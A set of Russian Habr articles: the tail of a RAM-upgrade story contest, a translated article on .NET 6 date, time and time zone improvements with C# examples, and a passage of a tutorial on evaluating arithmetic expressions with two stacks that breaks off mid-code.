зачастую дешевле и выгоднее «выжать» из компьютера SSD-накопителем или небольшим разгоном. Но случаются ситуации, когда комплект высокопроизводительной памяти буквально преображает привычное железо и позволяет получить значительный результат «малой кровью». Расскажите свою историю, когда апгрейд оперативки выручил вас и что именно оказалось критично чувствительно к скорости / объёму / задержкам. Для нас это бесценный пользовательский опыт, который улучшит статьи и обзоры железа, а для вас — отличный шанс стать владельцем 16 Гбайт (2x8) памяти [HyperX Fury DDR4-2400](https://goo.gl/XZXZzZ) с отличными заводскими радиаторами — стильными и эффективными. Уникальный опыт --------------- У вас есть совершенно не вписывающийся ни в один формат эпос о сражении высоких нагрузок со слабым железом? Гениальные мысли или концепции? Предложения, которые никак не подогнать под заданные рамки? Что ж, присылайте и их тоже, с пометкой «Вне категорий». Если таких записей будет много и истории будут по-настоящему хороши — придумаем что-нибудь ещё с призами. Как принять участие ------------------- Конкурс пройдёт с 30 ноября по 18 декабря. Для принятия участия достаточно оставить комментарий к этой статье в формате: ``` **Название категории** Моя классная история ``` А также подписаться на наш блог на GT. Чтоб не пропустить результаты и всегда быть в курсе интересных статей. Результаты объявим 20 декабря. Ждём ваши истории!
https://habr.com/ru/post/374025/
null
ru
null
# Даты, время и часовые пояса: улучшения в .NET 6 ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6e7/a59/656/6e7a59656b34f02676bda5f0b226ebce.png)Материал переведен. *Ссылка на* [*оригинал*](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/) В этой статье я расскажу о грядущих улучшениях в .NET 6, затрагивающих даты, время и часовые пояса. Все, о чем здесь говорится, вы можете опробовать сами — эти возможности будут доступны, начиная с версии [**.NET 6 Preview 4**](https://devblogs.microsoft.com/dotnet/announcing-net-6-preview-4/)**.** Мы рассмотрим следующие темы: * [Новые типы DateOnly и TimeOnly](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/#introducing-the-dateonly-and-timeonly-types) * [API конвертации часовых поясов](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/#time-zone-conversion-apis) * [Отображаемые имена часовых поясов в Linux и macOS](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/#time-zone-display-names-on-linux-and-macos) * [Улучшения в классе TimeZoneInfo.AdjustmentRule](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/#timezoneinfo-adjustmentrule-improvements) Узнать больше подробностей вы можете из статьи на GitHub: [dotnet/runtime#45318](https://github.com/dotnet/runtime/issues/45318). ### Знакомство с типами DateOnly и TimeOnly Если вы работали с датой и временем в .NET, вы наверняка использовали типы DateTime, DateTimeOffset, TimeSpan и TimeZoneInfo. В следующем выпуске вводятся два дополнительных типа: DateOnly и TimeOnly. Оба они относятся к пространству имен System и встроены в .NET, как и другие типы даты и времени. ### Тип DateOnly Тип DateOnly — это структура, представляющая *только* дату: год, месяц и день. Вот небольшой пример: ``` // Создание и свойства DateOnly d1 = new DateOnly(2021, 5, 31); Console.WriteLine(d1.Year); // 2021 Console.WriteLine(d1.Month); // 5 Console.WriteLine(d1.Day); // 31 Console.WriteLine(d1.DayOfWeek); // Monday // Манипуляции DateOnly d2 = d1.AddMonths(1); // Можно прибавлять дни, месяцы или годы. Для вычитания используйте отрицательные значения. Console.WriteLine(d2); // Результат: "6/30/2021" (обратите внимание: без указания времени) // С помощью свойства DayNumber можно вычислить разницу между двумя датами в сутках int days = d2.DayNumber - d1.DayNumber; Console.WriteLine($"{d2} наступит через {days} суток после {d1}"); // Парсинг и токены форматирования строк работают работают ожидаемым образом DateOnly d3 = DateOnly.ParseExact("31 Dec 1980", "dd MMM yyyy", CultureInfo.InvariantCulture); // Пользовательский формат Console.WriteLine(d3.ToString("o", CultureInfo.InvariantCulture)); // Результат: "1980-12-31" (формат ISO 8601) // Можно сочетать с TimeOnly, чтобы получить дату и время (DateTime) DateTime dt = d3.ToDateTime(new TimeOnly(0, 0)); Console.WriteLine(dt); // Результат: "12/31/1980 12:00:00 AM" // Если нужна текущая дата (в местном часовом поясе) DateOnly today = DateOnly.FromDateTime(DateTime.Today); ``` Тип `DateOnly` идеально подходит для работы с датами рождения, юбилеев, найма и другими датами, обычно не привязанными к конкретному времени. Можно сказать, что тип `DateOnly` отражает конкретный день *целиком* (от начала и до конца) — одну клеточку в календаре. Раньше вы могли использовать для этого тип `DateTime` , указав в качестве времени полночь (00:00:00.0000000). Этот вариант по-прежнему работает, но применение `DateOnly` дает ряд преимуществ, включая следующие: * Безопасность типа `DateOnly` выше безопасности `DateTime`, используемого для представления только даты. Это важно при использовании API, поскольку не каждое действие, применимое к определенному моменту конкретного дня, имеет смысл для даты как единого целого. Например, метод `TimeZoneInfo.ConvertTime` позволяет конвертировать `DateTime` из одного часового пояса в другой. Передавать ему дату целиком не имеет смысла, поскольку можно конвертировать только конкретный момент времени этого дня. Такие бессмысленные операции могут иметь место, если использовать `DateTime`. Это может привести к ошибке, например к сдвигу дня рождения на сутки вперед или назад. А с `DateOnly` ни один API конвертации часовых поясов попросту не будет работать, что исключает его ошибочное использование. * Тип `DateTime` также содержит свойство Kind типа `DateTimeKind`, которое может принимать значения Local, Utc или Unspecified. Оно влияет на поведение API конвертации, включая форматирование и парсинг строк. Тип `DateOnly` не имеет этого свойства — оно по сути всегда считается неуказанным (Unspecified). * При сериализации `DateOnly` достаточно указать год, месяц и день. Благодаря этому данные будут храниться в чистом виде, без множества нулей в конце. Кроме того, любому пользователю вашего API будет видно, что это значение представляет целую дату, а не ее полночь. * При взаимодействии с базой данных, например с SQL Server, целые даты практически всегда хранятся как тип данных date. Прежде API для хранения и извлечения таких данных были в значительной мере привязаны к типу `DateTime`. При сохранении время обрезалось, что потенциально могло привести к потере данных. При извлечении время заполнялось нулями — дату без указания времени было не отличить от полуночи. Работая с типом `DateOnly`, мы имеем более точный эквивалент типа date в базе данных. Учтите, что [пока не все](https://github.com/dotnet/runtime/issues/49036#issuecomment-806444260) поставщики данных поддерживают новый тип, но, по крайней мере, теперь это возможно. Тип `DateOnly` имеет диапазон от 0001-01-01 до 9999-12-31, как и DateTime. Мы также предусмотрели в конструкторе поддержку любых календарей, поддерживаемых .NET. Но, подобно `DateTime`, объект `DateOnly` *всегда* отражает значения [пролептического григорианского календаря](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%BB%D0%B5%D0%BF%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B3%D1%80%D0%B8%D0%B3%D0%BE%D1%80%D0%B8%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%B0%D0%BB%D0%B5%D0%BD%D0%B4%D0%B0%D1%80%D1%8C), независимо от использованного при его создании календаря. Если передать в конструктор календарь, он будет использоваться только для *интерпретации* года, месяца и дня, переданных в тот же конструктор. Пример: ``` Calendar hebrewCalendar = new HebrewCalendar(); DateOnly d4 = new DateOnly(5781, 9, 16, hebrewCalendar); // 16 сивана 5781 г. Console.WriteLine(d4.ToString("d MMMM yyyy", CultureInfo.InvariantCulture)); // 27 мая 2021 г. Подробные сведения см. в руководстве по работе с календарями. ``` Подробные сведения см. в руководстве по [*работе с календарями*](https://docs.microsoft.com/dotnet/standard/datetime/working-with-calendars). ### Тип TimeOnly Мы также ввели новый тип `TimeOnly`. Это структура, которая представляет *только* время — конкретный момент в сутках. Можно сказать, что `DateOnly` является одной половиной `DateTime`, а `TimeOnly` — второй. Вот небольшой пример: ``` // Создание и свойства TimeOnly t1 = new TimeOnly(16, 30); Console.WriteLine(t1.Hour); // 16 Console.WriteLine(t1.Minute); // 30 Console.WriteLine(t1.Second); // 0 // Можно прибавлять часы, минуты или период времени TimeSpan (или использовать отрицательные значения для вычитания). TimeOnly t2 = t1.AddHours(10); Console.WriteLine(t2); // Результат: "2:30 AM" (обратите внимание, что даты нет, а время уже перешло через полночь) // При необходимости можно вычислить, сколько прошло суток за указанный период (= сколько раз часы показывали полночь). TimeOnly t3 = t2.AddMinutes(5000, out int wrappedDays); Console.WriteLine($"{t3}, {wrappedDays} суток спустя"); // Результат: "1:50 PM, 3 суток спустя" // Значения времени можно вычитать, чтобы узнать временной промежуток между ними. // Операция должна выглядеть как "конечное время - начальное время". Порядок важен, так как это циклические часы. Пример: TimeOnly t4 = new TimeOnly(2, 0); // 2:00 TimeOnly t5 = new TimeOnly(21, 0); // 21:00 TimeSpan x = t5 - t4; TimeSpan y = t4 - t5; Console.WriteLine($"{t5} наступит через {x.TotalHours} ч. после {t4}"); // 19 часов Console.WriteLine($"{t4} наступит через {x.TotalHours} ч. после {t5}"); // 5 часов // Парсинг и токены форматирования строк работают работают ожидаемым образом TimeOnly t6 = TimeOnly.ParseExact("5:00 pm", "h:mm tt", CultureInfo.InvariantCulture); // Пользовательский формат Console.WriteLine(t6.ToString("T", CultureInfo.InvariantCulture)); // Результат: "17:00:00" (длинный формат времени) // Можно преобразовать TimeOnly в TimeSpan для использования с прежними API TimeSpan ts = t6.ToTimeSpan(); Console.WriteLine(ts); // "17:00:00" // Или скомбинировать с DateOnly, чтобы получить DateTime DateTime dt = new DateOnly(1970, 1, 1).ToDateTime(t6); Console.WriteLine(dt); // Результат: "1/1/1970 5:00:00 PM" // Если требуется текущее время (в местном часовом поясе) TimeOnly now = TimeOnly.FromDateTime(DateTime.Now); // Можно определить, находится ли время между двумя другими значениями времени if (now.IsBetween(t1, t2)) Console.WriteLine($"{now} находится между {t1} и {t2}"); else Console.WriteLine($"{now} НЕ находится между {t1} и {t2}"); ``` Тип `TimeOnly` идеально подходит для таких сценариев, как время регулярных встреч, время ежедневного будильника или начало и конец рабочего дня в каждый день недели. Так как тип `TimeOnly` не привязан к конкретной дате, его можно воспринимать как обычные стрелочные часы (правда, не 12-, а 24-часовые). Раньше существовало два распространенных способа представления таких значений: с помощью типов `TimeSpan` или `DateTime`. Оба варианта продолжают работать, но использование `TimeOnly` дает следующие преимущества: * Тип `TimeSpan` преимущественно описывает *прошедшее* время, подобно секундомеру. Его верхняя граница превышает 29 000 *лет*, а значения могут быть и *отрицательными*, обозначая обратный отсчет времени. В свою очередь, тип `TimeOnly` обозначает момент в сутках, поэтому имеет интервал от 00:00:00.0000000 до 23:59:59.9999999 и допускает только положительные значения. Если использовать для указания момента в сутках тип `TimeSpan`, есть риск выхода за пределы допустимого диапазона. `TimeOnly` исключает этот риск. * Момент в сутках можно представить через тип `DateTime`, но тогда нам придется указать какую-то произвольную дату. Зачастую берется значение `DateTime.MinValue` (0001-01-01), но такой подход порой приводит к выходу за пределы диапазона при вычитании времени. Если указать другую дату, требуется запомнить ее, а затем отбросить, что может привести к проблемам при сериализации. * Тип `TimeOnly`, напротив, непосредственно предназначен для указания момента в сутках, и в таких ситуациях он намного безопаснее, чем `DateTime` или `TimeSpan`, — точно так же, как `DateOnly` более безопасен, чем `DateTime`, для указания дат без конкретного времени. * Одна из распространенных операций с временем — прибавление или вычитание разных истекших периодов. В отличие от `TimeSpan`, `TimeOnly` корректно отрабатывает такие операции при переходе через полночь. Например, если восьмичасовая смена сотрудника начинается в 18:00, `TimeOnly` позволит правильно прибавить эти восемь часов к времени начала смены и получить 02:00; кроме того, этот тип имеет метод `InBetween`, позволяющий легко определить для любого указанного времени, пришлось ли оно на рабочую смену сотрудника. ### Почему имена типов кончаются на Only? Придумывать имена всегда непросто, и этот случай — не исключение. Мы долго обсуждали разные варианты имен, но в итоге приняли имена `DateOnly` и `TimeOnly`, так как они соответствуют ряду условий и ограничений: * Они не используют зарезервированные ключевые слова языка .NET. Date было бы идеальным вариантом, но это ключевое слово в языке VB.NET и тип данных, являющийся псевдонимом `System.DateTime`, поэтому это имя было отвергнуто. * Их легко найти в документации и с помощью IntelliSense, введя их начало — Date или Time. Мы сочли это важным, поскольку множество разработчиков .NET-приложений привыкло к типам `DateTime` и `TimeSpan`. В других платформах аналогичная функциональность обозначается префиксами, например Java-классы `LocalDate` и `LocalTime` из пакета [java.time](https://docs.oracle.com/javase/8/docs/api/java/time/package-summary.html) или же типы `PlainDate` и `PlainTime` в готовящемся к выпуску предложении [Temporal](https://tc39.es/proposal-temporal/docs/) для JavaScript. Но в этих примерах все типы дат и времени сгруппированы в отдельное пространство имен, в то время как в .NET типы даты и времени находятся в общем пространстве имен System. * Их трудно спутать с существующими возможностями API. В частности, оба типа `DateTime` и `DateTimeOffset` имеют свойства с именами Date (возвращает `DateTime`) и `TimeOfDay` (возвращает TimeSpan). Мы сочли, что если бы тип назывался `TimeOfDay` вместо `TimeOnly`, было бы нелогично, что свойство `DateTime`.`TimeOfDay` возвращает тип `TimeSpan`, а не `TimeOfDay`. Если бы мы делали все с нуля, мы выбрали бы эти имена в качестве имен свойств *и* имен типов, которые они возвращают, но такое радикальное изменение сейчас просто невозможно. * Они легко запоминаются и имеют интуитивно понятный смысл. Ведь имена `DateOnly` и `TimeOnly` явно говорят о том, что эти типы должны использоваться для указания «только даты» и «только времени». Более того, при их комбинировании образуется тип `DateTime`, поэтому, давая им такие имена, мы логически связываем их друг с другом. ### А как насчет Noda Time? Многие просили нас использовать [Noda Time](https://nodatime.org/) вместо введения этих двух типов. Действительно, Noda Time — отличный образец высококачественной библиотеки .NET с открытым исходным кодом, разработанной сообществом, и вы, конечно же, можете и дальше ею пользоваться. Однако мы решили, что реализовывать подобие API Noda внутри .NET неоправданно. В конечном счете было решено, что лучше *дополнить* существующие типы, заполнив пробелы, чем перерабатывать их и заменять другими. Ведь уже существует множество .NET-приложений, использующих имеющиеся типы `DateTime`, `DateTimeOffset`, `TimeSpan` и `TimeZoneInfo`. Типы `DateOnly` и `TimeOnly` станут естественным и удобным дополнением к ним. Также замечу, что предложение о поддержке взаимозаменяемости `DateOnly` и `TimeOnly` с эквивалентными типами Noda Time (`LocalDate` и `LocalTime`) уже [внесено на рассмотрение](https://github.com/nodatime/nodatime/issues/1635). ### API конвертации часовых поясов Для начала — небольшая историческая справка. Существуют два основных набора данных о часовых поясах: * Набор часовых поясов Microsoft, поставляемый с Windows. + Пример идентификатора: "AUS Eastern Standard Time" * Набор часовых поясов, используемый остальными платформами и поддерживаемый [IANA](https://www.iana.org/time-zones). + Пример идентификатора: "Australia/Sydney" Под остальными платформами я подразумеваю не только Linux и macOS, но и Java, Python, Perl, Ruby, Go, JavaScript и многие другие. Поддержка часовых поясов в .NET обеспечивается классом `TimeZoneInfo`. Этот класс изначально был создан для платформы .NET Framework 3.5, работающей только в операционных системах Windows. Поэтому он получал данные о часовых поясах из Windows. Вскоре это стало проблемой для тех, кто хотел использовать информацию о часовых поясах в данных, передаваемых между системами. С выходом .NET Core проблема обострилась, поскольку данные о часовых поясах Windows просто недоступны в других системах, таких как Linux и macOS. Ранее метод `TimeZoneInfo.FindSystemTimeZoneById` искал часовые пояса, доступные *в операционной системе*. То есть часовые пояса Windows в системах Windows и часовые пояса IANA во всех остальных. Это неудобно, особенно если код и данные должны быть кросс-платформенными. До настоящего времени эту проблему обходили путем *ручного* преобразования одного набора часовых поясов в другой, предпочтительно на основе отображений, заданных в общем репозитории языковых данных Unicode ([Unicode CLDR](https://github.com/unicode-org/cldr)). Эти отображения доступны также в таких библиотеках, как [ICU](https://github.com/unicode-org/icu) и [TimeZoneConverter](https://github.com/mattjohnsonpint/TimeZoneConverter), которую часто используют разработчики .NET-приложений. Все эти методы работают и сейчас, но теперь появился и новый, более простой и удобный способ. Начиная с этого выпуска, метод `TimeZoneInfo.FindSystemTimeZoneById` *автоматически* преобразует входные данные в другой формат, если запрошенный часовой пояс не найден в системе. Другими словами, вы можете использовать идентификаторы часовых поясов как IANA, так и Windows, в любой операционной системе, где есть данные о часовых поясах\*. Метод использует те же отображения CLDR, но получает их через [средства глобализации .NET на основе ICU](https://docs.microsoft.com/dotnet/standard/globalization-localization/globalization-icu), поэтому отдельная библиотека не требуется. Краткий пример: ``` // Оба идентификатора теперь работают в любых поддерживаемых ОС, где доступны данные часовых поясов и ICU. TimeZoneInfo tzi1 = TimeZoneInfo.FindSystemTimeZoneById("AUS Eastern Standard Time"); TimeZoneInfo tzi2 = TimeZoneInfo.FindSystemTimeZoneById("Australia/Sydney"); ``` В UNIX часовые пояса Windows фактически не устанавливаются как часть ОС, но их идентификаторы распознаются благодаря преобразованиям и данным, предоставляемым ICU. Вы можете установить в систему библиотеку libicu или [встроить данные ICU в свое .NET-приложение](https://docs.microsoft.com/dotnet/standard/globalization-localization/globalization-icu#app-local-icu). \* *Имейте в виду, что некоторые Docker-образы .NET, например для Alpine Linux, не содержат предустановленный пакет tzdata, но вы можете* [*легко добавить его*](https://github.com/dotnet/dotnet-docker/issues/1366)*.* В этом выпуске мы также добавили в класс `TimeZoneInfo` новые методы с именами `TryConvertIanaIdToWindowsId` и `TryConvertWindowsIdToIanaId` — они используются при необходимости ручного преобразования одного формата часового пояса в другой. Примеры использования: ``` // Преобразование из формата IANA в Windows string ianaId1 = "America/Los_Angeles"; if (!TimeZoneInfo.TryConvertIanaIdToWindowsId(ianaId1, out string winId1)) throw new TimeZoneNotFoundException($"Часовой пояс Windows для "{ianaId1}" не найден."); Console.WriteLine($"{ianaId1} => {winId1}"); // "America/Los_Angeles => Pacific Standard Time" // Преобразование из формата Windows в IANA при неизвестном регионе string winId2 = "Eastern Standard Time"; if (!TimeZoneInfo.TryConvertWindowsIdToIanaId(winId2, out string ianaId2)) throw new TimeZoneNotFoundException($"Часовой пояс IANA для "{winId2}" не найден."); Console.WriteLine($"{winId2} => {ianaId2}"); // "Eastern Standard Time => America/New_York" // Преобразование из формата Windows в IANA при известном регионе string winId3 = "Eastern Standard Time"; string region = "CA"; // Канада if (!TimeZoneInfo.TryConvertWindowsIdToIanaId(winId3, region, out string ianaId3)) throw new TimeZoneNotFoundException($"Часовой пояс IANA для "{winId3}" в регионе "{region}" не найден."); Console.WriteLine($"{winId3} + {region} => {ianaId3}"); // "Eastern Standard Time + CA => America/Toronto" ``` Кроме того, мы добавили в класс `TimeZoneInfo` свойство экземпляра с именем HasIanaId — оно возвращает `true`, если свойство `Id` является идентификатором часового пояса IANA. Это позволяет определить, требуется ли преобразование. Допустим, у вас есть объекты `TimeZoneInfo`, полученные из смешанного набора идентификаторов Windows или IANA, а вам требуется только идентификатор часового пояса IANA для вызова внешнего API-интерфейса. Вы можете определить следующий вспомогательный метод: ``` static string GetIanaTimeZoneId(TimeZoneInfo tzi) { if (tzi.HasIanaId) return tzi.Id; // Преобразование не требуется if (TimeZoneInfo.TryConvertWindowsIdToIanaId(tzi.Id, out string ianaId)) return ianaId; // Использовать преобразованный идентификатор throw new TimeZoneNotFoundException($"Часовой пояс IANA для "{tzi.Id}" не найден."); } ``` Если же вам, наоборот, нужен идентификатор часового пояса Windows — например, функция [AT TIME ZONE](https://docs.microsoft.com/sql/t-sql/queries/at-time-zone-transact-sql) в SQL Server всегда нуждается в идентификаторе часового пояса из Windows, даже если SQL Server работает в Linux, — вы можете определить следующий вспомогательный метод: ``` static string GetWindowsTimeZoneId(TimeZoneInfo tzi) { if (!tzi.HasIanaId) return tzi.Id; // Преобразование не требуется if (TimeZoneInfo.TryConvertIanaIdToWindowsId(tzi.Id, out string winId)) return winId; // Использовать преобразованный идентификатор throw new TimeZoneNotFoundException($"Часовой пояс Windows для "{tzi.Id}" не найден."); } ``` ### Отображаемые имена часовых поясов в Linux и macOS Другая частая операция с часовыми поясами — формирование списка поясов, например, чтобы пользователь мог выбрать нужный. В Windows для этого всегда использовался метод `TimeZoneInfo.GetSystemTimeZones`. Он возвращает набор объектов `TimeZoneInfo` только для чтения, на основе которого можно составить список, используя свойства Id и `DisplayName` каждого объекта. В Windows отображаемые имена часовых поясов в приложениях .NET заполняются на основании файлов ресурсов, связанных с текущим языком интерфейса ОС. В Linux и macOS для этого используются [данные глобализации ICU](https://docs.microsoft.com/dotnet/standard/globalization-localization/globalization-icu). В целом этом неплохой подход, но нужно убедиться, что все значения `DisplayName` в списке уникальны, иначе его нельзя использовать. Например, 13 разных часовых поясов возвращают одинаковое отображаемое имя "(UTC-07:00) Mountain Standard Time", в результате чего пользователь не сможет выбрать свой часовой пояс. Часовой пояс America/Denver представляет большинство зон Mountain Time в США, но в штате Аризона, где переход на летнее время отсутствует, используется пояс America/Phoenix. В новом выпуске мы предусмотрели дополнительные алгоритмы, выбирающие в ICU более подходящие значения для отображаемых имен, что позволяет составлять более осмысленные списки. Например, часовой пояс America/Denver теперь отображается как "(UTC-07:00) Mountain Time (Denver)", а America/Phoenix принимает вид "(UTC-07:00) Mountain Time (Phoenix)". Посмотреть остальные изменения в списке можно в разделах Before («До») и After («После») [в этой статье на GitHub](https://github.com/dotnet/runtime/pull/48931). Стоит отметить, что список часовых поясов и их отображаемые имена в *Windows* в основном не изменились. Но мы исправили небольшой баг — в коде было жестко фиксировано английское отображаемое имя для часовых поясов UTC ("Coordinated Universal Time"), что приводило к проблемам в других языках. Теперь оно корректно отображается во всех операционных системах на том же языке, что и все остальные отображаемые имена часовых поясов. ### Улучшения в классе TimeZoneInfo.AdjustmentRule Последнее рассматриваемое улучшение затрагивает чуть реже используемую, но все же важную возможность. Класс `TimeZoneInfo.AdjustmentRule` используется в .NET как часть представления часовых поясов в памяти. Каждый класс `TimeZoneInfo` может иметь одно или несколько правил корректировки либо вовсе их не иметь. Эти правила описывают, как смещение часового пояса относительно UTC корректируется с течением времени, что обеспечивает корректное преобразование любого момента времени. Такая корректировка — очень сложная работа, выходящая за рамки настоящей статьи. Тем не менее я постараюсь описать некоторые сделанные нами улучшения. Изначально при создании класса `TimeZoneInfo` подразумевалось, что смещение `BaseUtcOffset` будет фиксированным и что все правила корректировки будут управлять только переходами на летнее и зимнее время. К сожалению, такой подход не учел, что часовые пояса меняют свое *стандартное* смещение в разное время, например [совсем недавно](https://www.timeanddate.com/news/time/yukon-canada-permanent-dst.html) на территории Юкон (Канада) решили отказаться от переходов между UTC-8 и UTC-7 — теперь там круглый год действует UTC-7. Чтобы адаптироваться к подобным изменениям, в .NET (уже давным-давно) появилось *внутреннее* свойство класса `TimeZoneInfo.AdjustmentRule` с именем `BaseUtcOffsetDelta`. Это свойство используется для отслеживания изменений `TimeZoneInfo.BaseUtcOffset` при переключении с одного правила корректировки на другое. Но так как в ряде случаев нужен доступ ко всем необработанным данным и нет смысла прятать какую-либо их часть от разработчиков, в новом выпуске свойство `BaseUtcOffsetDelta` класса `TimeZoneInfo.AdjustmentRule` стало публичным. Более того, мы также дополнили метод `CreateAdjustmentRule` возможностью принимать параметр `baseUtcOffsetDelta` (разумеется, это вовсе не означает, что мы решили, будто большинству разработчиков потребуется или захочется создавать свои часовые пояса или правила корректировки). Два других небольших изменения касаются извлечения правил корректировки из данных IANA в операционных системах, отличающихся от Windows. Внешне они ни на что не влияют, но обеспечивают корректную работу в ряде пограничных случаев. Если вы уже немного запутались во всем вышесказанном, не переживайте — вы не одиноки. К счастью, вся необходимая логика для корректного использования данных уже встроена в различные методы `TimeZoneInfo`, такие как `GetUtcOffset` и `ConvertTime`. Скорее всего, непосредственно использовать правила корректировки вам не понадобится. ### Заключение Как видите, работать с датами, временем и часовыми поясами в .NET 6 будет значительно удобнее. Я с интересом буду следить за тем, как новые типы `DateOnly` и `TimeOnly` приживутся в экосистеме .NET, особенно за их использованием при сериализации и работе с базами данных. В целом же я рад видеть, что локализация и удобство использования .NET продолжают улучшаться — даже в такой не самой популярной области, как часовые пояса! Не забудьте поделиться своим мнением об этих новых возможностях. Спасибо за внимание! *Примечание: Примеры кода приведены для американских языковых настроек, и в русской или иных версиях выводимый текст (например, формат дат и времени) может отличаться*. Материал переведен. *Ссылка на* [*оригинал*](https://devblogs.microsoft.com/dotnet/date-time-and-time-zone-enhancements-in-net-6/) --- > Материал подготовлен в рамках курса ["C# Developer. Professional"](https://otus.pw/44rR/). Если вас интересует развитие в C# разработке с нуля до Pro, предлагаем узнать про [специализацию.](https://otus.pw/VfeK/) > > Также приглашаем всех желающих на открытый урок «Управление конфигурациями микросервисов». На занятии обсудим один из подходов, используемых в реальных high-load проектах. [**РЕГИСТРАЦИЯ**](https://otus.pw/aKqC/) > >
https://habr.com/ru/post/567338/
null
ru
null
# Вычисление значения выражения *В продолжение поста [Компилятор выражений](http://habrahabr.ru/blogs/development/50139/). По просьбам читающих. Специально для [michurin](https://habrahabr.ru/users/michurin/)* Есть много способов вычислить значение выражения мне больше всего нравится метод с двумя стеками. Нравится за его элегантность и простоту реализации. Суть метода 2х стеков *(наверняка у него есть красивое научное название.)* заключается в том, что **любое сложно выражение, в конечном счете, сводится к последовательности простых операций**. В нашем случае это будет бинарная операция над операндами A и В. Мы будем идти слева на право, добавляя операнды в один стек, а операции в другой. При каждом добавлении новой операции мы будем пытаться вытолкнуть из стека старые, руководствуясь приоритетами операций. *(важно заметить, что тут как раз — таки и можно извратиться и сделать всё в 1 стеке, но мы будем придерживаться классики)* Так как слова **Operator** и **Operand** очень похожи, то вместо **Operator** мы будем использовать **Function**. Стек *Операндов* будет называться **Q** Стек *Операторов* **W** Простой пример: **2 + 2 \* 3 — 4** `1. Q.Push(2) Добавляем в стек Q операнд 2 2. W.Push(+) Добавляем в стек W операцию + 3. Q.Push(2) 4. W.Push(\*). Сейчас в W у нас находятся операции + и \*. Так как у + приоритет выше, то \* не может вытолкнуть его из стека. 5. Q.Push(3) 6. W.Push(-) у – приоритет выше чем у \*, а значит, мы вытолкнем \*. Для этого мы возьмём 2 последних операнда а на их место поставим результат операции A-B. B <- Q.pop() A <- Q.pop() Q.push(A - B) так мы будем повторять пока не наткнемся на операцию, которую не сможем вытолкнуть. 7. В итоге у нас останется Q = {8, 4} и W={-} обычно, чтобы не разругивать последний шаг, всё выражение берется в скобки и последняя скобка выталкивает все оставшиеся операции. 8. Q = {4} и W={}` Для примера возьмем операции + — \* / и взятие в скобки. у \* и / приоритет будет равен 1 у + и – будет равен 2 у открывающейся скобки приоритет -1 и она никого не выталкивает. Закрывающаяся скобка выталкивает все операции до первой открывающейся. Пример: **2 + 1 – 6 / (1 + 2)** Рассмотрим пример по шагам: `1. Q.push(2) Q = {2} W = { } 2. W.push(+) Q = {2} W = {+} 3. Q.push(1) Q = {2, 1} W = {+} 4. W.push(-) у операций + и – приоритет равный, следовательно выталкиваем + Q = {3} W = {-} 5. Q.push(6) Q = {3, 6} W = {-} 6. W.push( / ) Q = {3, 6} W = {-, /} 7. W.push( ( ) открывающаяся скобка никого не выталкивает, а просто добавляет себя в стек операций Q = {3, 6} W = {-, /, (} 8. Q.push(1) Q = {3, 6, 1} W = {-, /, (} 9. W.push(+) открывающуюся скобку может вытолкнуть только закрывающаяся. ничего не делаем. Q = {3, 6, 1} W = {-, /, (, +} 10. Q.push(2) Q = {3, 6, 1, 2} W = {-, /, (, +} 11. W.push( ) ) Закрывающаяся скобка выталкивает все операции до первой открывающейся такая операция почти всегда одна (зависит от реализации) Q = {3, 6, 3} W = {-, /} 12. Вот на этом шаге мы или сами разруливаем концовку или изначально оборачиваем выражение в круглые скобки, чтобы вытолкнуть все оставшиеся операции Q = {3, 2, 3} W = {-, /} 13. Q = {1} W = {} результатом будет последнее число в стеке. Если там больше чем 1 число – значит, мы неправильно написали алгоритм или получили на вход кривое выражение.` Чтобы не заморачиваться с унарными операциями мы воспользуемся тем, что любую унарную можно превратить в бинарную. к примеру, добавить в качестве второго операнда *единицу* (нейтральный элемент) т.е. вместо (-2) у нас будет (0 – 2) Алгоритм на С#: > `public static double Calc(string s) > > { > >     s = '(' + s + ')'; > >     Stack<double> Operands = new Stack<double>(); > >     Stack<char> Functions = new Stack<char>(); > >     int pos = 0; > >     object token; > >     object prevToken = 'Ы'; > > > >     do > >     { > >         token = getToken(s, ref pos); > >         // разрливаем унарный + и - > >         if (token is char && prevToken is char && > >             // если эту сточку заменить на (char)prevToken != ')' && > >             // то можно будет писать (2 \* -5) или даже (2 - -4) > >             // но нужно будет ввести ещё одну проверку так, как запись 2 + -+-+-+2 тоже будет работать :) > >             (char)prevToken == '(' && > >             ((char)token == '+' || (char)token == '-')) > >             Operands.Push(0); // Добавляем нулевой элемент > > > >         if (token is double) // Если операнд > >         { > >             Operands.Push((double)token); // то просто кидаем в стек > >         } > >         // в данном случае у нас только числа и операции. но можно добавить функции, переменные и т.д. и т.п. > >         else if (token is char) // Если операция > >         { > >             if ((char)token == ')') > >             { > >                 // Скобка - исключение из правил. выталкивает все операции до первой открывающейся > >                 while (Functions.Count > 0 && Functions.Peek() != '(') > >                     popFunction(Operands, Functions); > >                 Functions.Pop(); // Удаляем саму скобку "(" > >             } > >             else > >             { > >                 while (canPop((char)token, Functions)) // Если можно вытолкнуть > >                     popFunction(Operands, Functions); // то выталкиваем > > > >                 Functions.Push((char)token); // Кидаем новую операцию в стек > >             } > >         } > >         prevToken = token; > >     } > >     while (token != null); > > > >     if (Operands.Count > 1 || Functions.Count > 0) > >         throw new Exception("Ошибка в разборе выражения"); > > > >     return Operands.Pop(); > > } > > > > private static void popFunction(Stack<double> Operands, Stack<char> Functions) > > { > >     double B = Operands.Pop(); > >     double A = Operands.Pop(); > >     switch (Functions.Pop()) > >     { > >         case '+': Operands.Push(A + B); > >             break; > >         case '-': Operands.Push(A - B); > >             break; > >         case '\*': Operands.Push(A \* B); > >             break; > >         case '/': Operands.Push(A / B); > >             break; > >     } > > } > > > > private static bool canPop(char op1, Stack<char> Functions) > > { > >     if (Functions.Count == 0) > >         return false; > >     int p1 = getPriority(op1); > >     int p2 = getPriority(Functions.Peek()); > > > >     return p1 >= 0 && p2 >= 0 && p1 >= p2; > > } > > > > private static int getPriority(char op) > > { > >     switch (op) > >     { > >         case '(': > >             return -1; // не выталкивает сам и не дает вытолкнуть себя другим > >    